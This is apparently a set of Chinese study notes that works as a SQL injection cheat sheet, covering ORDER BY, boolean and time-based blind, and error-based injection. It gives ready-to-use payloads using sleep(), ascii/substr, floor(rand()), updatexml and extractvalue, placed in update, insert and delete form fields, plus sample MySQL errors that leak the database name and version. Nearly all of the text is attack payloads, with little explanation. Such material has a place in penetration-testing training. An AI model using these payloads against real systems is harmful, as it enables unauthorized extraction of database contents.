order by
select * from users order by $sth
盲注的三种类型
- 逻辑判断
regexp、like、ascii、left、ord、mid
like 'ro%' regexp '^user[a-z]' #截取字符串 mid(str,start_loc,length) substr(str,start_loc,length) left(str,length) #从左侧截取 #字符串长度 length()
- 延时判断
if、sleep
select * from users where id=1 and if(1>2,2,0); select * from users where id=1 and sleep(5); select * from users where id=1 and if(1>2,sleep(5),sleep(10));
- 报错回显 floor、updatexml、extractvalue
逻辑判断
例如:
?id=1' and length(database())=8--+
?id=1' and left(database(),1)>'a'--+
延时判断
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
报错注入
更新注入
update user set username='$name' where id = 1
$name = "' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '"
// 结果
update user set username='' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '' where id = 1
出现结果ERROR 1062(23000): Duplicate entry '1~security~' for key 'group_key'
,则得到库名为security;
若将database()
改为version()
,则提示ERROR 1062(23000): Duplicate entry '1~5.5.53~' for key 'group_key'
。
- 其他注入语句
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
插入注入
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or updatexml(1,concat(0x7e,(version())),0) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or extractvalue(1,concat(0x7e,database())) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
删除注入
or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
or+updatexml+(1,concat(0x7e,database()),0)
or+extractvalue(1,concat(0x7e,database()))